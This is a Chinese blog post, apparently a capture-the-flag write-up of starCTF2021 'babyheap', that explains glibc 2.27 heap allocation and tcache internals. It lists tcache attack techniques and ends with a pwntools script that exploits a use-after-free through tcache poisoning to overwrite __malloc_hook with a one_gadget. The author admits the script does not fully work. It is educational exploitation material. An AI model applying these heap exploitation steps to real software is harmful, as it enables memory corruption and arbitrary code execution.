从一道题中学习Glibc2.27堆管理机制

众所周知,Glibc2.26以后增加了tcache机制,而比赛中通常会使用2.27版本的题目。于是这里从最近一道题目中总结一些Glibc的堆malloc和free时过程和保护机制。

starCTF2021 babyheap

题目在此下载
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
题目的add,delete,edit,show功能如上图。漏洞很明显,UAF漏洞,但是难点在于每个堆块的前八个字节都无法直接写,这意味着并不能简单的double free。这里就得利用堆管理机制。

Glibc2.27堆的malloc和free

tcache bins是一个长度为64的字节数组,每个字节数组对应一条链表。所以tcachebins只能存放0x0-0x400大小的堆,且每个链表长度为7,是一个单链表。在释放大小为0x0-0x400大小的堆的时候,首先会被释放入对应长度tcachebins对应的链表中,当长度超出7后,再放入fastbin或unsortbins中。

具体函数流程就不在此详细贴出,只做总结。malloc和free过程与2.23版本差别并不大,更详细内容可以点开reference康康。

malloc:

确定需要分配的内存size==》

tcachebin中寻找==》

fastbin中寻找(size小于0x80),如果有则分配,并把fastbins剩余chunk放入tcachebins直到存满==>

small bin中寻找(size小于0x400),如果有则分配,并把small bin剩余chunk放入tcachebins直到存满,如果smallbin为空调用 malloc_consolidate 来合并 fastbin chunk 到 smallbin 中==》

unsortedbin中寻找(size小于0x400),如果有则分配或者切割,把剩余chunk放到small bins和large bins;若)(size小于0x400)但unsortbin没有满足大小的,切割top chunk==》

size大于0x400时,将fastbins中相邻chunk的合并链接到unsorted bin ;遍历unsortbin,如果unsorted bins上只有一个chunk并且大于待分配的chunk则进行切割;若大小相等直接分配;小于0x400放回small bin;大于0x400放回large bin;若未分配则下一步==》

当将 unsorted bin 中的空闲 chunk 加入到相应的 small bins 和 large bins 后,将使用最佳匹配法分配chunk,找到合适的small bin chunk或者large bin chunk,然后切割该chunk,返回给用户,切割的剩余部作为一个新的 chunk 加入到 unsorted bin 中==》

上述bin都找不到,切割top chunk;若top chunk不够sbrk(main arena)或mmap(thread arena)扩容

2.27的_int_malloc和2.23的主要区别在于2.27会将fastbin和smallbin还有unsortedbin中多余的块放入tcache中。

free:

判断chunk是否在tcache范围且tcachebins未满,是则放入==》

判断chunk是否与top chunk相邻,是则合并==》

判断chunk大小大于0x80,是则放入unsortedbin,检查是否有合并,有则合并==》
判断chunk大小小于0x80,是则放入fastbin并不改变chunk状态==》

fastbin中,若该chunk下个chunk是空闲的,则会合并放回unsortedbin,并判断大小是否大于 FASTBIN_CONSOLIDATION_THRESHOLD,若是则对fastbin中chunk遍历合并并放回unsortedbin,此时fastbin为空==》

判断topchunk是否大于mmap收缩阙值,若是尝试归还top chunk中一部分给系统。

2.27的free与之前主要的区别在于先检查是否处于tcache范围,且tcache未存满,如果没有存满则直接put进去,之后的操作于2.23如出一辙。

漏洞

tcache poision:修改fd指针

tcache dup:即tcache double free

tcache perthread corruption

tcache house of spirit

smallbin unlink:利用free时机制

tcache stashing unlink#利用free时机制

house_of_bot_cake

reference:
ptmalloc与glibc的数据结构

2.27的malloc和free

_int_malloc源码分析

常见tcache attack

Glibc27 29 30 31

题目中的利用

程序中有个功能会malloc 0x400。

利用上述所说机制,先把0x50 tcache bin填满并且在fastbins中放入一个0x50 chunk(该chunk不可与top chunk相邻),此时malloc 0x400时,则会泄露libc基址。
在这里插入图片描述
再利用上述机制,malloc 0x30时,因为unsortedbin遍历完(本就就为空了),选择smallbins的那个chunk进行切割,并把剩余的部分放到unsortbin(如下),再申请一个0x10的chunk,即可用原来0x50的chunk控制这个0x10的chunk的next指针
在这里插入图片描述
后面利用tcach poisoning实现任意地址写,修改malloc_hook为one_gadget即可

exp如下(没通,好像偏移有点问题,但是malloc_hook确实被修改了,主要是想总结堆管理机制,没搞了)

from pwn import *
context.log_level= 'debug'
p = process('./pwn')
#p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
def add(index,size):
    p.recv()
    p.sendline('1')
    p.recv()
    p.sendline(str(index))
    p.recv()
    p.sendline(str(size))

def delete(index):
    p.recv()
    p.sendline('2')
    p.recv()
    p.sendline(str(index))

def show(index):
    p.recv()
    p.sendline('4')
    p.recv()
    p.sendline(str(index))

def edit(index,content):
    p.recv()
    p.sendline('3')
    p.recv()
    p.sendline(str(index))
    p.recv()
    p.sendline(content)

for i in range(9):
    add(i,0x50)
for i in range(7):
    delete(i)

delete(7)
p.recv()
p.sendline('5')
p.recv()
p.sendline('')
show(7)
leak = u64(p.recv(6).ljust(8,'\x00'))

libc_base = leak - 176 - 0x10 - 0x3ebc30#0x3EBC30
malloc_hook = libc_base + 0x3ebc30 - 0x8
one_gadget = libc_base + 0x4f365
add(0,0x30)
gdb.attach(p)
pause()
add(1,0x10)
delete(1)
payload = 'a'*0x28 +p64(0) +p64(0x21)+ p64(malloc_hook)
edit(7,payload)
add(2,0x10)
add(3,0x11)
edit(3,p64(one_gadget))
gdb.attach(p)
add(1,0x20)
p.interactive()

 
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值